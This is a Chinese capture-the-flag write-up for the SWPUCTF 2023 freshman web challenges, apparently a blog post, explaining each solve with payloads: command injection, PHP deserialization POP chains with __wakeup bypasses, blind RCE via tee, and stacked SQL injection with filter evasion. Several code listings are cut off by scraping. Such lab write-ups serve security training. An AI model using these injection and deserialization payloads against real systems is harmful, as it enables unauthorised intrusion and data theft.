• [SWPUCTF 2023 秋季新生赛] web题解



    colorful_snake

    打开题目,查看js源码
    直接搜flag
    在这里插入图片描述把那三行代码复制到控制器,得到flag

    在这里插入图片描述

    NSS_HTTP_CHEKER

    都是http请求基本知识
    抓包按照要求来,得到flag

    在这里插入图片描述

    一键连接!

    源码

    
    
    • 1
    • 2

    成功上传
    在这里插入图片描述
    得到flag
    在这里插入图片描述

    Pingpingping

    源码

    ";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    分析一下,首先是参数名利用php解析特性;然后就是简单的ping命令加命令执行

    ?Ping[ip.exe=127.0.0.1;cat /flag
    
    • 1

    得到flag
    在这里插入图片描述

    UnS3rialize

    考点: __wakeup绕过之fast-destruct

    源码

     ";
            system($this->cmd);
        }
        function __wakeup()
        {
            echo "W4keup!!!
    "; $this->cmd = "echo Welcome to NSSCTF"; } } class C { public $whoami; function __get($argv) { echo "what do you want?"; $want = $this->whoami; return $want(); } } class T { public $sth; function __toString() { echo "Now you know how to use __toString
    There is more than one way to trigger"; return $this->sth->var; } } class F { public $user = "nss"; public $passwd = "ctf"; public $notes; function __construct($user, $passwd) { $this->user = $user; $this->passwd = $passwd; } function __destruct() { if ($this->user === "SWPU" && $this->passwd === "NSS") { echo "Now you know how to use __construct
    "; echo "your notes".$this->notes; }else{ die("N0!"); } } } if (isset($_GET['ser'])) { $ser = unserialize(base64_decode($_GET['ser'])); } else { echo "Let's do some deserialization :)"; } Let's do some deserialization :)
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69

    分析一下

    1. 从后往前推,出口是NSS.__invoke()的命令执行
    2. 调用此方法往前推到C.__get()
    3. 然后就是访问不存在属性,往前推到T.__toString()
    4. 再往前推到F.__destruct()
    5. pop链梳理完再看看wakeup的绕过,用的fast-destruct,直接在序列化完的数据后去掉一个花括号(其本质上就是利用GC回收机制),然后再编码

    pop链

    F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()
    
    • 1

    exp

    user='SWPU';
    $a->passwd='NSS';
    $a->notes=$b;
    $b->sth=$c;
    $c->whoami=$d;
    $remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
    echo base64_encode($remove);
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    得到flag
    在这里插入图片描述

    查查need

    考点:sql注入万能密码,bp爆破攻击

    打开题目,发现给了excel表格用来查询成绩
    F12看到提示用万能密码
    在这里插入图片描述目前为止,还不知道注入的位置
    我们可以bp抓包,依次再三个参数fuzz测试(在页面处输入不了",所以用抓包的方式来回显)
    发现在学号处存在注入点,且闭合方式为双引号
    在这里插入图片描述
    结合学生表和万能密码
    随便输入一个学生名字,发现有回显
    在这里插入图片描述尝试用联合查询,发现走不通
    考虑到学生表,猜测flag应该藏在某位同学的成绩那
    把表中学生名字全部复制到txt里,然后添加该payload(bp上显示乱码不管它)
    爆破得到flag
    在这里插入图片描述

    If_else

    源码

      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    自己写代码进去,先闭合前面,然后命令执行,在最后面加注释符
    payload

    ?check=1==1) echo `cat /f*`;/*
    
    • 1

    不难发现黄色部分都被注释掉了,因此命令执行得到flag
    在这里插入图片描述

    RCE-PLUS

    考点:无回显RCE

    源码

     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    shell_exec()函数哪怕执行了命令也是没有回显的
    我们输入下面命令测试下

    ?cmd=ls / | sleep 5
    
    • 1

    我们会发现执行了,但是并没有回显
    这里可以利用tee命令把执行的结果打印下来
    payload

    ?cmd=ls / | tee 1.txt
    
    • 1

    或者是重定向

    ?cmd=ls / > 1.txt
    
    • 1

    然后访问./1.txt
    在这里插入图片描述
    然后反斜杠绕过一下关键字

    ?cmd=ca\t /fl\ag | tee 2.txt
    
    • 1

    得到flag

    backup

    考点:源码泄露,变量引用绕过__wakeup,php变量覆盖

    提示说给了备份文件,直接御剑扫一下
    在这里插入图片描述发现有www.zip,访问下载下来
    源码

    yuki='tell me where';
            $this->molly='dont_tell_you';
            $this->dimoo="you_can_guess";
        }
    
        public function __wakeup(){
            global $flag;
            global $where_you_go;
            $this->yuki=$where_you_go;
    
            if($this->molly === $this->yuki){
                echo $flag;
            }
        }
    }
    
    $pucky = $_GET['wq'];
    if(isset($pucky)){
        if($pucky==="二仙桥"){  
            extract($_POST);
            if($pucky==="二仙桥"){    
                die("");
            }
            unserialize($pucky);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    反序列化非常简单,if语句要求$this->molly === $this->yuki强等于,但是__wakeup方法会赋值,所以采取引用绕过的方式,exp如下

    molly=&$a->yuki;
    echo serialize($a);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序,所以不能用下面的方式去实现变量覆盖

    GET:?wq=二仙桥
    POST:wq=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
    
    
    • 1
    • 2
    • 3

    我们可以修改下POST参数为pucky即可
    得到flag
    在这里插入图片描述

    NSS大卖场

    比赛时是给了源码,这里参考下别的师傅发的
    关键部分
    在这里插入图片描述给出表名为items,flag为id=8
    (本来以为是考察JWT,疯狂修改session,结果赛后才知道是sql注入)

    我们bp抓包看一下购买的过程
    在这里插入图片描述
    结合给的源码,不难发现对应id=1
    我们尝试注入,发现是单引号闭合
    在这里插入图片描述
    由于得到flag的条件为购买flag,那么我们可以用update语句来让flag只需要一块钱购买
    payload

    1';update items set price=1 where id=8;#
    
    • 1

    在这里插入图片描述空格用%09,update,where大小写绕过

    1';upDate%09items%09set%09price=1%09Where%09id=8;#
    
    • 1

    在这里插入图片描述购买得到flag
    在这里插入图片描述

  • 相关阅读:
    urllib.error.URLError 提示错误解决方法和爬虫基本知识
    计算机毕业设计Java搬家预约系统(源码+系统+mysql数据库+lw文档)
    股票最新K线 易语言代码
    C语言集合运算
    ABAP 辨析ON INPUT|REQUEST|CHAIN-INPUT|CHAIN-REQUEST
    ROS1学习笔记:ROS命令行工具的使用(ubuntu20.04)
    拿下Transformer
    LED台灯控制芯片 LED调光芯片 LED驱动芯片AH6730
    JDBC入门
    SPA项目开发之动态树+数据表格+分页
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/133828224